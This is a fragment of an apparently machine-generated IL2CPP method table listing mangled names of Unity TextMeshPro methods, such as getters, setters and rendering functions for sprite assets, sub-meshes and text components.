TMP_SpriteAsset_get_version_m908EBE63C74A10EF17C07C046D2E76FA54C1ADB8,
TMP_SpriteAsset_set_version_m55AC1FB92B62B73170D86867DDD97FFB5B184751,
TMP_SpriteAsset_get_faceInfo_m1530AA39D6792A0EEE0EAD23159893F418A7E3EB,
TMP_SpriteAsset_set_faceInfo_mDF753986EF1CB074813927B23968C70AE69DA1DC,
TMP_SpriteAsset_get_spriteCharacterTable_m2F591ADE7DC8DE042B8A32AF84AC169C19CB9D2A,
TMP_SpriteAsset_set_spriteCharacterTable_m129E6E18F2DED131EBEBE4C792DFC71DE35968FD,
TMP_SpriteAsset_get_spriteCharacterLookupTable_mA1128B86D4510139DB3712D8886F64C3B2A8D30F,
TMP_SpriteAsset_set_spriteCharacterLookupTable_mA5C2661AF36B12516A888D463B69F2DAA6AFBD6D,
TMP_SpriteAsset_get_spriteGlyphTable_mF26169916988D252767D8801D1E8A2C2D10744A9,
TMP_SpriteAsset_set_spriteGlyphTable_m7207A256A0E4A37F083B1A870C88967C9249E46D,
TMP_SpriteAsset_Awake_mAD9AA42B857F3D524A18BCC7512F09D02810EA8B,
TMP_SpriteAsset_GetDefaultSpriteMaterial_m71B824EDA9676B6A30EDE264BEE9E54C6D621AAC,
TMP_SpriteAsset_UpdateLookupTables_mEC56B333C873E25ED75D6DD85E1628ED8C631545,
TMP_SpriteAsset_GetSpriteIndexFromHashcode_mE1E4D499A7FAD58AB955E1CA8344D640D82219C2,
TMP_SpriteAsset_GetSpriteIndexFromUnicode_m20CA8E503DE1FD6FE80E9418EF9A426DFEDD9014,
TMP_SpriteAsset_GetSpriteIndexFromName_m0CFC33E1F9D56B23BB7DD2DDD1C0886D41A9BE6B,
TMP_SpriteAsset_SearchForSpriteByUnicode_mBD123F3E2ECF30AD16D4FED8D7277BF9962BC59C,
TMP_SpriteAsset_SearchForSpriteByUnicodeInternal_m4D512CC9086A31C562F04F9B4E0CBD7A9FB6F48A,
TMP_SpriteAsset_SearchForSpriteByUnicodeInternal_mFB07171D1040D3E69CC135D932AEAF7F2AA14550,
TMP_SpriteAsset_SearchForSpriteByHashCode_m6BE5C18FB376C75A5F58F280CDFC310CC39663CC,
TMP_SpriteAsset_SearchForSpriteByHashCodeInternal_m8E2D794D03E2E6F06ED6269369D772AD53419AEE,
TMP_SpriteAsset_SearchForSpriteByHashCodeInternal_m3AD58EC96B8954C7405E2AD697EC57C0C449A16C,
TMP_SpriteAsset_SortGlyphTable_m0B638BC195978816F72A5D32E1FD2608EB388B68,
TMP_SpriteAsset_SortCharacterTable_mAAE212E44DECC76673001EB17D3BBCBCF1A3CCA1,
TMP_SpriteAsset_SortGlyphAndCharacterTables_mEFA1D54654552CA29AD602DB21D6320A396C9E4B,
TMP_SpriteAsset_UpgradeSpriteAsset_mE4C0306402DA32DC3C4BCC8FD11F6C8D35FF2E54,
TMP_SpriteAsset__ctor_mE12AAD30F24A6007B20DAE40E64FFDB78BEE8E12,
U3CU3Ec__cctor_m1731BDDD686E65BCAA7330E7E94AFF57A7397955,
U3CU3Ec__ctor_m8DEE5249803AAEB1971F104609B40E1327C4B13E,
U3CU3Ec_U3CSortGlyphTableU3Eb__40_0_m51F7FC32BA4529C5284CC0DC3572FAA3257AD8A3,
U3CU3Ec_U3CSortCharacterTableU3Eb__41_0_mECA45EB0A1A8B501039633E87B1A71903857445E,
TMP_SpriteCharacter_get_name_m207A7AF57DA74FCC9409AEA2E8581FF4009512A4,
TMP_SpriteCharacter_set_name_m5893C4B6DF938F2E6BB37C578C3B7AB8501F079A,
TMP_SpriteCharacter_get_hashCode_mD0A6D291E2DEC9D29C0E6715C4497765E0AB384F,
TMP_SpriteCharacter__ctor_mC81C5F64670E2A27460B808E9685102BD9CFDACD,
TMP_SpriteCharacter__ctor_m8F33DB3BDCC21B35CAD05BAC8D9DCCADF861DDB2,
TMP_SpriteCharacter__ctor_mE00D2BBE2D3FF0E47A84EF5D0B8C57AB1153FEB8,
TMP_SpriteCharacter__ctor_m12DB9C781228C5D5DDF21E578BE48BDBDE0CD4C6,
TMP_SpriteGlyph__ctor_mE15D3E35E9F68B201CD34569F3A19B22D980D5DE,
TMP_SpriteGlyph__ctor_mDFAB2320924E4687FED7E3BA2E1F551ED05B9D36,
TMP_SpriteGlyph__ctor_m8FFB4374AE9F72ABC4E3B7A50FEF593CA2736348,
TMP_Style_get_NormalStyle_m4C80CBA871A23EC62520C30F303988B010ABBBDA,
TMP_Style_get_name_mBA0F1FE80A39D071DC286A2BE674203BE59926E8,
TMP_Style_set_name_m2FCB28B0836C6BE1D8F460538D450295EF6CB80F,
TMP_Style_get_hashCode_m19EC41583BBC799AC118324ED1A0405E26990E85,
TMP_Style_set_hashCode_m2EC34153FFE0E3D2CD13138A29A87D13F21D4147,
TMP_Style_get_styleOpeningDefinition_m24394DAB1ADA5D1F7D1A386CED1C51D46BD50B8B,
TMP_Style_get_styleClosingDefinition_mA23115F2648B0A6B4AABE9E4043A4A272509209A,
TMP_Style_get_styleOpeningTagArray_mB7640D4E0C5A8EF7E1C46AFEFC98909A642ACCC7,
TMP_Style_get_styleClosingTagArray_m286697AF575989E08FA185934FCCA3CD54565A8B,
TMP_Style__ctor_mBC114846B015F0C6F9DEF28EF765BED9947538F1,
TMP_Style_RefreshStyle_m90C4C9D26FDE915FE8C6F307E0A4AE2F09BB9C25,
TMP_StyleSheet_get_styles_mD3FB628CE8162DD6F8532FC5B8AF64409E0A9DB7,
TMP_StyleSheet_Reset_mCA48D63055490174046D802C414CD6A5E7291E63,
TMP_StyleSheet_GetStyle_m1A066C8EB0E74AE5D84DEC570BFE301D45FAE078,
TMP_StyleSheet_GetStyle_m14703829269D37F3E69B1DCDA0C508A1DFC4F9A1,
TMP_StyleSheet_RefreshStyles_m5F93989FB986DE16268D2F70D2F9855612547458,
TMP_StyleSheet_LoadStyleDictionaryInternal_m54F7544F778ACD234CE8DC6FEEB3F33E6FD28B69,
TMP_StyleSheet__ctor_mD3DFB99F53DB503018B1613AB6EE21E75512754C,
TMP_SubMesh_get_fontAsset_mE8BD0B068366708271FE9EEA521C6A66B0D2D70A,
TMP_SubMesh_set_fontAsset_m72B98C846C0BED1F95B642359D9B682E6B99FD5A,
TMP_SubMesh_get_spriteAsset_mA42C14F49819531B0C7F9A516FDF98CB64B7E8F8,
TMP_SubMesh_set_spriteAsset_m8090A6E45EB4780476223BF53115ECF3B5297F9B,
TMP_SubMesh_get_material_mC2E739573C72E85402DEEDC8BA589146E7738A2D,
TMP_SubMesh_set_material_mAD78A696DADACDF54AAB0347F520B7F848E0E517,
TMP_SubMesh_get_sharedMaterial_mDBA65AAA3DF5B047D8A05CF00CBDCC0B22E18957,
TMP_SubMesh_set_sharedMaterial_m39D3800DFDB361235F85066E08FEE26CAD12461B,
TMP_SubMesh_get_fallbackMaterial_m56ADAE065A5B9822474BA92763B325D752C6410B,
TMP_SubMesh_set_fallbackMaterial_m834BFAF4851FD7EC116808334791B57D3EA4BF13,
TMP_SubMesh_get_fallbackSourceMaterial_mC434387C192AA72EA046F1B87CFF73547C6C1020,
TMP_SubMesh_set_fallbackSourceMaterial_m42EC6CD630C1E531012C8FE7C042D17E3D4B67BD,
TMP_SubMesh_get_isDefaultMaterial_m9674DD519EB470FEA52B2BA0D88C03342B93037B,
TMP_SubMesh_set_isDefaultMaterial_m519BA7D8650EF98CB6113FC8AAA48BA76EB1C584,
TMP_SubMesh_get_padding_mF12E331397602A9A39ECB674B02412668752F766,
TMP_SubMesh_set_padding_m3004519034FED4E8DAB9A37118B7F624E55E5D85,
TMP_SubMesh_get_renderer_m57EDD2B2B7742D389E019F7D81BFCD7BDA468013,
TMP_SubMesh_get_meshFilter_m84185B727B379F28F2955070CBF99AA14339F34E,
TMP_SubMesh_get_mesh_m9AF8E94AA6D6A9B47B76EE0B88A75BCECE8F43EB,
TMP_SubMesh_set_mesh_mCE8299D19097FA2472DCEFA3AA07F5AE7D3600DA,
TMP_SubMesh_get_textComponent_m0432A85ED37E13DB37CE87B0A09C7C9B5C1369D6,
TMP_SubMesh_AddSubTextObject_mD7C4691E9023677CE2C4954BFB2C97DFA8AB7D78,
TMP_SubMesh_OnEnable_mB044C518B33D5CB3C040D552994581FA754DE233,
TMP_SubMesh_OnDisable_m2A63ACC5E996C6AC1D2A3358972B6592F0B6856C,
TMP_SubMesh_OnDestroy_m50A083A81A84781BF0700B1A63B8AAB83C0EBFAD,
TMP_SubMesh_DestroySelf_mB9BF2C94B673B284DB58D13EAD1E6798129B7B55,
TMP_SubMesh_GetMaterial_m7FA3D54A057606FA90DC3841AAD76C3877BBDA54,
TMP_SubMesh_CreateMaterialInstance_mCBD7450E65428732A15ADD20F0A5BE7EA1DBF2BA,
TMP_SubMesh_GetSharedMaterial_m7C37BF890F16727019DF5A7EA36FABE4E5D21F42,
TMP_SubMesh_SetSharedMaterial_m894423F785E34D24902F385582889CF9170CEA4F,
TMP_SubMesh_GetPaddingForMaterial_mE7297313C36D02A7879790C4EEA21551B52B9544,
TMP_SubMesh_UpdateMeshPadding_mC15404FE24CC51BCA2D8BC8B7A15934FF71ACAAF,
TMP_SubMesh_SetVerticesDirty_m55CA9BE0F62ED78693A82CD3A583FA24F1C734B1,
TMP_SubMesh_SetMaterialDirty_mF4015AA542DC6AF1A7E554CF66A42AB0939D826C,
TMP_SubMesh_UpdateMaterial_mF2AA7298784A74354917AE11C33C06DF5EE48FD3,
TMP_SubMesh__ctor_m94A6C004CCE46FD9B6DDFBBD8436B386594FABEF,
TMP_SubMeshUI_get_fontAsset_mFA21AA0E69C872A2E9AD4F2F7A4E2E61B343275F,
TMP_SubMeshUI_set_fontAsset_m76AFB364ECE0D6CBD609CA2FC1BD28BBC09437A6,
TMP_SubMeshUI_get_spriteAsset_m657B36AC1C3BFA60B17013CB401750F80719F7E4,
TMP_SubMeshUI_set_spriteAsset_m535AEEBE4A7548A93E6A252DF62C5BCC3578F05C,
TMP_SubMeshUI_get_mainTexture_m812ABD578CE01020099166A3F9F63E31E635E4F1,
TMP_SubMeshUI_get_material_mCEDB25BF8F4D1ADBDDE5E0D6A9D6BE34352B59C0,
TMP_SubMeshUI_set_material_m42EDB47D729254FE9BA1A521AD957ED2D9CED532,
TMP_SubMeshUI_get_sharedMaterial_m9F6E8D48BE941352C6395CE6B25D1A026F9B1A50,
TMP_SubMeshUI_set_sharedMaterial_m76325941FAD77DA10D3BD3B85506D0473CD6DB2B,
TMP_SubMeshUI_get_fallbackMaterial_mAF8B16164650A91CA244445F5717BCEA12B75CAE,
TMP_SubMeshUI_set_fallbackMaterial_mDABCF9FA80529D8A6452EBD3C9B52E1D4A8F6A08,
TMP_SubMeshUI_get_fallbackSourceMaterial_m0CCD5224BD22B4AF5B8D7994040F7925FA047787,
TMP_SubMeshUI_set_fallbackSourceMaterial_m6176ADCD1C46E99F4FC95189D58B406397E54C0E,
TMP_SubMeshUI_get_materialForRendering_m49CDCE464B0837AF4EAC89AF71B7CB8602BE1A27,
TMP_SubMeshUI_get_isDefaultMaterial_mF713B637150AA5A39FB25D9C296A0D2011A7F1E5,
TMP_SubMeshUI_set_isDefaultMaterial_m1CA334C661C393A92BB29993C559F43FE899E525,
TMP_SubMeshUI_get_padding_mFE0F475014CBD79033493C185323B095356C4D98,
TMP_SubMeshUI_set_padding_m8EF3F2C730BADF9C71D789E2B964A0FF0FBC44CD,
TMP_SubMeshUI_get_mesh_m18BAE0DB357DC5D7993D07BD826429AF727548E2,
TMP_SubMeshUI_set_mesh_m253BA01B0CF8F664D4C8910C746C56C863A76191,
TMP_SubMeshUI_get_textComponent_m899050C714DCF7C38409E40ACED46128426E5981,
TMP_SubMeshUI_AddSubTextObject_mB2D0DDEA58C4A95B61E83C81FC9610D42091CC8F,
TMP_SubMeshUI_OnEnable_m5FC1C2F3A131CDD8AEBE462F6E02F98C8EFD91A2,
TMP_SubMeshUI_OnDisable_m7E93F77D46B86974F82E651F1C5ABEC4965E7A19,
TMP_SubMeshUI_OnDestroy_m9B06AF411C751749285D664C97E4534F8DB46421,
TMP_SubMeshUI_OnTransformParentChanged_m1C0D38B644942ABCCE807FD0EDA40069FCD4F758,
TMP_SubMeshUI_GetModifiedMaterial_mE55896B318E1B14EA2E05E8B4C9B7395F889637A,
TMP_SubMeshUI_GetPaddingForMaterial_m59C406EAAF3622C5C66AC02B57EE54017E6F80C9,
TMP_SubMeshUI_GetPaddingForMaterial_m5600CCCC50A30C965D5522C7CDC62559B1AACD3E,
TMP_SubMeshUI_UpdateMeshPadding_mFE485B3241997E25482483616D1B5482EA8BBC81,
TMP_SubMeshUI_SetAllDirty_m17BC0FAF84604A8419F055074E538D3B92D8DFEC,
TMP_SubMeshUI_SetVerticesDirty_m6BC1FB6642A719D0B542920D87C47B91BCAE8F3D,
TMP_SubMeshUI_SetLayoutDirty_mF9E12FA430FDF4CAB2142C256069206F66F4BE39,
TMP_SubMeshUI_SetMaterialDirty_m427E2E5CA2522811C510ADFB88183F5C7168C41E,
TMP_SubMeshUI_SetPivotDirty_m7CB8262E46A59A4309FB63BBDC85305DB66AC08C,
TMP_SubMeshUI_GetRootCanvasTransform_m044D69EEDD595930E39EE9B58180440A1C318699,
TMP_SubMeshUI_Cull_mC2938541DF75ECBE0A20743633BB59E0E2FB2C8D,
TMP_SubMeshUI_UpdateGeometry_m8A12469615865F793E84FD08A01CA20C82344504,
TMP_SubMeshUI_Rebuild_m157FB1223ADFBB21D2C66599D9130FF09687009A,
TMP_SubMeshUI_RefreshMaterial_mD91D017F05BFC8667A26179D17565E3411A0FE75,
TMP_SubMeshUI_UpdateMaterial_m4147C455FDAE0B050969761CEA78CC665D2B162B,
TMP_SubMeshUI_RecalculateClipping_mAF6020BB8D612D61DD64C6B3A66E21B1ED27E629,
TMP_SubMeshUI_GetMaterial_mFE6F9315B7C5FCD8DC6F5B885D0DE5F6E860FD22,
TMP_SubMeshUI_GetMaterial_m42B838E7CFD90166E7AB6288140E0DDC42C5BFBD,
TMP_SubMeshUI_CreateMaterialInstance_mC6A3BF4276D9FDB1120EDE06B688F57BD50012B2,
TMP_SubMeshUI_GetSharedMaterial_m3D24E4226259E175D6BCB0D846D5D6D6BC2740D0,
TMP_SubMeshUI_SetSharedMaterial_m3E8AB169F4C47E062E3996E25F2F9D015FDAAA0C,
TMP_SubMeshUI__ctor_m9AA49928094650F82BE200A086839EA4DABF3D25,
NULL,
NULL,
NULL,
TMP_Text_get_text_mF8371DA9FE7C67218422F6A5B5F4BAB1219EB22F,
TMP_Text_set_text_m7802824EFC54A60A4FEF444FD34301663CF974EA,
TMP_Text_get_textPreprocessor_m342C8D483950A64497716F34BCCA853A2D5D430C,
TMP_Text_set_textPreprocessor_mF26E0EFC2718F08112B9C4065EFB6C7D4322D56F,
TMP_Text_get_isRightToLeftText_m91867E4BBD159ACF669FF0103FB15194E5A35910,
TMP_Text_set_isRightToLeftText_m92473AB03681DE06DCE0845AE43B23F13FEF5D25,
TMP_Text_get_font_m1F5E907B9181A54212FBD8123242583C1CA4BE2A,
TMP_Text_set_font_mC55E4A8C1C09595031384B35F2C2FB2FC3479E83,
TMP_Text_get_fontSharedMaterial_mF1F4B4A3379A9928CF2CD51835381B31C0976C82,
TMP_Text_set_fontSharedMaterial_m4C3E1FAD0780FF04D2998177B794C773EE3B0DD7,
TMP_Text_get_fontSharedMaterials_m09C5F786FE99C75C954C548AFDED330C4785C4D3,
TMP_Text_set_fontSharedMaterials_mE82D24FE08F46E5E59438F51938A6B99D74EE376,
TMP_Text_get_fontMaterial_m4EBEC9AF78B5B66C983A98F78948E753EE4DDFC6,
TMP_Text_set_fontMaterial_m091675AB7E417CD77F8C69B3AEE5B78BBCF59922,
TMP_Text_get_fontMaterials_m354B3F7CF4AB2B7E38C2610D8403D14744286A55,
TMP_Text_set_fontMaterials_m0DC39367F86944E57BE16634A45225ACA97F461B,
TMP_Text_get_color_m4A843DBD73462B4EE0F823039AE9F8499102D9B5,
TMP_Text_set_color_m776196F566F4F8CD25263BB40CA2D3AE5F2D444B,
TMP_Text_get_alpha_mF6093A9BEAC44060DA2CC7A61097DB99A25E7DAE,
TMP_Text_set_alpha_mD01D24A2E320F30E26BD42AEE8137F9C4F4EBB57,
TMP_Text_get_enableVertexGradient_mB5CFDE007B14BB0425CEACA8FE33C8B2B29769A5,
TMP_Text_set_enableVertexGradient_m21A55C744B7BF817B6AA349FCB8C2AC54E8CCACA,
TMP_Text_get_colorGradient_m29541E9BEF4511BEEB2B4951E5BF07DA01AC9105,
TMP_Text_set_colorGradient_m372D6EEDBE955EC7F33895F57E760802937808C8,
TMP_Text_get_colorGradientPreset_mEA5E8B98E88641BE9437222F33DDCCB1B05566B7,
TMP_Text_set_colorGradientPreset_m21DD271B3D1ADF6E81ED68922809F158612A7B46,
TMP_Text_get_spriteAsset_m2D4DEEA11BF5B9DEBA1859A401A15C455529D07A,
TMP_Text_set_spriteAsset_mAA6F8F2CD83E208C185A30367CF7E308B5A1F750,
TMP_Text_get_tintAllSprites_mFDB02B03D3513B536D47260FC9B5CCC8BB471C83,
TMP_Text_set_tintAllSprites_mFFCB8F9B1E8C23016C460BC26024DAEC7CD49D65,
TMP_Text_get_styleSheet_m72E52DC4A12109C1D0C46F2CF89F4A0D439913DC,
TMP_Text_set_styleSheet_mBADF3BE1110DBC043A75F42AD0C5FB8C245BC1BF,
TMP_Text_get_textStyle_m18773DC7DEFAA035C8D86475294AD3C0DDB52603,
TMP_Text_set_textStyle_mBD9F0E7332606863C32DC78E1BD163E7858D9425,
TMP_Text_get_overrideColorTags_mACA2CBC4B1D3033B30322B2366E1AA97AFB81E41,
TMP_Text_set_overrideColorTags_m9F9D83AA86AA7A310EA41F66A029F11100519CED,
TMP_Text_get_faceColor_mC6A763106D17F58C97965AFD5EE47646C813B4B8,
TMP_Text_set_faceColor_m5E9FCC324958ABD25823193117B9BA5304043E51,
TMP_Text_get_outlineColor_mA443B0C207A8B6A5E2546A31F46A3106FB0573EF,
TMP_Text_set_outlineColor_mBEFF42BF9AB15BC7C1DA78489CB4F32A2270F7F0,
TMP_Text_get_outlineWidth_mC94A3AD32458544743E07AE0A495A86214823C29,
TMP_Text_set_outlineWidth_m33ADF665CB2D3DBD9FB3F70DE62979FD63ADD592,
TMP_Text_get_fontSize_m13A8365A56EA2B726EAD826B4A69C8918A528731,
TMP_Text_set_fontSize_m1C3A3BA2BC88E5E1D89375FD35A0AA91E75D3AAD,
TMP_Text_get_fontWeight_m9A7A4ED9ECA3A192B28E24E94D40D5B545D6118E,
TMP_Text_set_fontWeight_m4F7016B98AAA89004CFBEBBBE1C4E35B94EF0EE2,
TMP_Text_get_pixelsPerUnit_mBCEF0125AEB4F14A5BA5D179C3523FD382E45796,
TMP_Text_get_enableAutoSizing_m0A101957A4E1D156437E454DF813ACE3714F0FE7,
TMP_Text_set_enableAutoSizing_mDD34BC7AA735EEBEB916FF5C9791B1502F65FBCA,
TMP_Text_get_fontSizeMin_m5F97E2EFFE86CB4BFFFC31E167E1E577134EF05D,
TMP_Text_set_fontSizeMin_mEAF970BB9CA053DF953AF83E638EA0F1D885358F,
TMP_Text_get_fontSizeMax_m8FAB0C39D22B722F6AA6CF15E6C0636715D64BD4,
TMP_Text_set_fontSizeMax_mC84B7090F5CE69BA63556A71FD63ABD67C911750,
TMP_Text_get_fontStyle_mC34CC5EBEDD43CE93BA911CCC4D33F9697838586,
TMP_Text_set_fontStyle_m61931944B2E922D50087312D80F8685A2F29EBF8,
TMP_Text_get_isUsingBold_mA0F9BE071B0F9DB995BC04D1CD409CA5C5AF6CF0,
TMP_Text_get_horizontalAlignment_mB33E135CD810BE68FA3E29D57D360575DE18C4CA,
TMP_Text_set_horizontalAlignment_m5621041CDB60BAD5BAB18AE01701ADA2FD2231B2,
TMP_Text_get_verticalAlignment_m83109ED3E925A505F5E9E9142B07829A56CCB54A,
TMP_Text_set_verticalAlignment_mA79C8E375EEC0B960D517D2D8ED217564ABBFB82,
TMP_Text_get_alignment_m52C559D8E496889812623C56CD8EA056FD92D565,
TMP_Text_set_alignment_mE5216A28797987CC19927ED3CB8DFAC438C6B95A,
TMP_Text_get_characterSpacing_m48A3B73EFBF47B5227D2BB4816FCFF628254C8FB,
TMP_Text_set_characterSpacing_mDCD34D244A502CA21CEB817E1F4CAC5BC6CCBA63,
TMP_Text_get_wordSpacing_mF3DF1445C78E06195904FCF0293E63654C527D33,
TMP_Text_set_wordSpacing_m319C51E318DBC91F236F3CC65ED24787903F7E1E,
TMP_Text_get_lineSpacing_m7481D705EAD920B8D143D19A270D44CDABDAA251,
TMP_Text_set_lineSpacing_m1BA54B315F7472AE0E7B721CA7481016643591A7,
TMP_Text_get_lineSpacingAdjustment_m3858BA838BBFBA60A0A1DDCB195075C6620CF637,
TMP_Text_set_lineSpacingAdjustment_mAC9A57D852EBAD8DD53ED2F1DE316C0DA52659FB,
TMP_Text_get_paragraphSpacing_mCCBC792CAE59958E92EB04B8E636AA2066534713,
TMP_Text_set_paragraphSpacing_m69921E35B44DE397FE604590913CAFB7DBFBAF30,
TMP_Text_get_characterWidthAdjustment_mE879BF9A6273376AEE54BE88745ABE7944DBF26A,
TMP_Text_set_characterWidthAdjustment_m11B7CC28C0A7FFC6434DB671C635691B529071BE,
TMP_Text_get_enableWordWrapping_mF228EF12091EF9FB53E44B6B0278B610E350E551,
TMP_Text_set_enableWordWrapping_mFAEE849315B4723F9C86C127B1A59EF50BE1C12F,
TMP_Text_get_wordWrappingRatios_m3316BC010D7B02829CE0B86868B01419C81ED072,
TMP_Text_set_wordWrappingRatios_m83A82AE875C4CD836D5802A1C051AF07CA2A0D85,
TMP_Text_get_overflowMode_m494E5C01E450AF8F4F344856D289D0FDEB8DDCB4,
TMP_Text_set_overflowMode_mB8911BA07CEE0AC1E4E108B5EB79B230F90E96A1,
TMP_Text_get_isTextOverflowing_mF29482F663A6195FF48628DF3B6F5ACAEF8538D0,
TMP_Text_get_firstOverflowCharacterIndex_mB9AEEBC749FBDEA2E73023CBA83FA2BE72D08480,
TMP_Text_get_linkedTextComponent_m84DA92BFD208833ED4C1EC4C4F537F5D594EF4F0,
TMP_Text_set_linkedTextComponent_m08B4CBAD470F918E2D2E19CE96B2443F38B76D93,
TMP_Text_get_isTextTruncated_mCB152B5BD9B3FFB994F6B89E2ED89A3602A750F3,
TMP_Text_get_enableKerning_mA8CA8FB9322358B72F0F7C49954AE3C0E618DDDD,
TMP_Text_set_enableKerning_m681685E06B8789F5F2B7043EBEA561AAE48E82BD,
TMP_Text_get_extraPadding_m84294178A4E3BFD708FC746DB98CB0A64FBC35AA,
TMP_Text_set_extraPadding_m26595B78EDE43EFBCCBF7D5E23932ADCB983EF32,
TMP_Text_get_richText_m630DE7C1ABC507556E716428264A793423ACAB27,
TMP_Text_set_richText_mAB3D04F620E13F02117B34BBA2EF7BD30AAE6F0F,
TMP_Text_get_parseCtrlCharacters_mB10A3CBD2DEFB7BB15BC6330951DCDAB814D2584,
TMP_Text_set_parseCtrlCharacters_mE733B4A0271EEFA977C39E7F86DDDF73C52D1976,
TMP_Text_get_isOverlay_m1A9199A9C2FBB09BEAA0B0B2E3D41CDF8A3B708B,
TMP_Text_set_isOverlay_m0DA2AC113AE402CA25097641AD38D0822C6D5561,
TMP_Text_get_isOrthographic_mBC78A70B2233363411D9D918346DFE19DF3CF72B,
TMP_Text_set_isOrthographic_mF58B9C6B492D4FD1BA0AB339E4B91F0A1F644C18,
TMP_Text_get_enableCulling_m233860FA65153E4C5C3FE3E78B835D4230FC45B0,
TMP_Text_set_enableCulling_m3CDE2F50BF96E110427D2C1B3505436D87576102,
TMP_Text_get_ignoreVisibility_m479580B3550B3652B3E4E889B8E62902633C7477,
TMP_Text_set_ignoreVisibility_mB06EE9EA50439B339824FDF4B52CAF423AC1209D,
TMP_Text_get_horizontalMapping_mDD4C7F3FF8D4619EA539A964636EC841FCFE7873,
TMP_Text_set_horizontalMapping_m26A114EFF3D3143214F753521B4DCB2971C19C84,
TMP_Text_get_verticalMapping_mCD5A83DF6CAA818E89F483F11B6748538D7E9C35,
TMP_Text_set_verticalMapping_mBF1DBAC92E4E6BE48F39275FAFF5F8106FABD317,
TMP_Text_get_mappingUvLineOffset_m296EF64BABC2BA1A47BD7309B10027E51BB37394,
TMP_Text_set_mappingUvLineOffset_m963D80134C47160C7896A7C86FFF3C4B3CF51E73,
TMP_Text_get_renderMode_mE67A34CDA63B22321E3C511078F9CC42B19EEC8C,
TMP_Text_set_renderMode_m091533DEE7FD20A61249DC52C786ED4FFE5A5C2A,
TMP_Text_get_geometrySortingOrder_m7A757613E064B108D3598B3953AB846E3B63B756,
TMP_Text_set_geometrySortingOrder_mFE993584D0FDB12A43F0F1907BD1FFAF240E0D95,
TMP_Text_get_isTextObjectScaleStatic_mBAC6CC2ACE413148E868A14281629B9C72851940,
TMP_Text_set_isTextObjectScaleStatic_m8436FC38400ABE08F513770AF9C8CC6743DBE092,
TMP_Text_get_vertexBufferAutoSizeReduction_m304AA345FEF2D0D542E2B1F2CB9AB51464BFDB91,
TMP_Text_set_vertexBufferAutoSizeReduction_m188984707109669597440E6F250B124D6FB66270,
TMP_Text_get_firstVisibleCharacter_mD2CEE9A9803C530DA337B22BD994B9CEBE15AE63,
TMP_Text_set_firstVisibleCharacter_m343804C8FF610EB13CCB14E8D54C889BC356AD53,
TMP_Text_get_maxVisibleCharacters_mF695995258B5013340B8C026B2A0FA643D5FD302,
TMP_Text_set_maxVisibleCharacters_mEDD8DCB11D204F3FC10BFAC49BF6E8E09548358A,
TMP_Text_get_maxVisibleWords_mD9E44CE8FBCB6F7182716E61EB435B61048155B9,
TMP_Text_set_maxVisibleWords_mE2EDC75AA5E4795233F753643202868E4D3226B9,
TMP_Text_get_maxVisibleLines_m9E8FB188E50DCF321793C7E75B7F90E2142AC52B,
TMP_Text_set_maxVisibleLines_m55D236A0DA8C5A10C793663674FA3A44F61DF861,
TMP_Text_get_useMaxVisibleDescender_m3A85730B4F5723C8B7884B89FB70EE0A6888165B,
TMP_Text_set_useMaxVisibleDescender_mBFE9133E5EEF987942919D4FE369CB03A0EBC559,
TMP_Text_get_pageToDisplay_mAA3CCC7BD6CA9430558F3409E05B6E754D82C730,
TMP_Text_set_pageToDisplay_mBD985B613FCEC04266FDA43E916B19DD505D7469,
TMP_Text_get_margin_mB8102487C6CFA509555D3A892C899E0A1E86CBCE,
TMP_Text_set_margin_mE431DCEED182B2979246E04233F943E8D3B82D5D,
TMP_Text_get_textInfo_mA24C606B8EA51436E4AA3B9D6DCDFA7A8995E10E,
TMP_Text_get_havePropertiesChanged_m42ECC7D1CA0DF6E59ACF761EB20635E81FCB8EFF,
TMP_Text_set_havePropertiesChanged_mA38D7BC9E260BF29450738B827F2220A05662B31,
TMP_Text_get_isUsingLegacyAnimationComponent_mC52DDE08FAB3DA14C5BDDAF7533A8465B30CCE7A,
TMP_Text_set_isUsingLegacyAnimationComponent_mC3A3CB0EBBE9A4AF0106EDC9EDB7DC1D0AD62170,
TMP_Text_get_transform_m6BD41E08BFCFCE722DFCE4627626AD60CA99CCA8,
TMP_Text_get_rectTransform_m22DC10116809BEB2C66047A55337A588ED023EBF,
TMP_Text_get_autoSizeTextContainer_mF7DEF97EAB3EEE86558E5A173264DA46068F7E13,
TMP_Text_set_autoSizeTextContainer_m47F5010FC3B3496C58017BC5B21E51FF8BD0D448,
TMP_Text_get_mesh_m7B90E1F477480ADB825851B54F898CC39B6DF376,
TMP_Text_get_isVolumetricText_m176FAF1E14C8054B274E7972EA02D84D3EB4E074,
TMP_Text_set_isVolumetricText_mE827C3B8F33DB163A48F2A314A66D02274372B9B,
TMP_Text_get_bounds_mAEE407DE6CA2E1D1180868C03A3F0A3B6E455189,
TMP_Text_get_textBounds_m0D3E180B72130830D1C16BC7E5097AF2958E2740,
TMP_Text_add_OnFontAssetRequest_m895FFCE1E05A6446A8DB4F94C20D2B2F085EDA76,
TMP_Text_remove_OnFontAssetRequest_mA32916110CEA19B97426542DAF7F02FCC4D4C13F,
TMP_Text_add_OnSpriteAssetRequest_m3A9B57B3C4B7FBA7B0756F4F7CFA2F226D3FAB7C,
TMP_Text_remove_OnSpriteAssetRequest_m102CB71D1AE3E2E8152B148A8728F867257055D9,
TMP_Text_add_OnPreRenderText_m52F3DEA8A022AFA077BB776BB59734B1C9D5D9CA,
TMP_Text_remove_OnPreRenderText_mB46FBE276D13CB41194906F9FF92EDE25D7641BA,
TMP_Text_get_spriteAnimator_m3DB8B24C845D9BE3C1E117F39DE45F202D7F9321,
TMP_Text_get_flexibleHeight_m810BADBB953332F1112BEDA609F0D2D899E75347,
TMP_Text_get_flexibleWidth_mAE1FB54D0F3EB910F566B87871BB7CCE5B3250D7,
TMP_Text_get_minWidth_m6FDD2AE333AC038F0ADB47FE30AF428A44160B03,
TMP_Text_get_minHeight_m54FCFDDB577882C173B9677008A2B97E92533AC7,
TMP_Text_get_maxWidth_mA2913A569850C5B0186FFC02EBD9B17D7E4123D9,
TMP_Text_get_maxHeight_m5673CE516B95A7268D1DD29CB14F26EB443688C2,
TMP_Text_get_layoutElement_m6D5276FEE925F3E8CA6DD4C554F8BE1A88A5E6E6,
TMP_Text_get_preferredWidth_mE30D1F5B8573BD0A558054D004A53DE868BD208A,
TMP_Text_get_preferredHeight_m4F28E8FB388AFF1DC052F5F982DB2F959598B004,
TMP_Text_get_renderedWidth_m61F93CE4B988DBCF6332EE731223AF0F72471146,
TMP_Text_get_renderedHeight_mD905DB93B2634BB5EE481C1F71D2CAFCEF5C738D,
TMP_Text_get_layoutPriority_m6D8DF0CCD8515FFCFA3B74F7946B32072B8EC596,
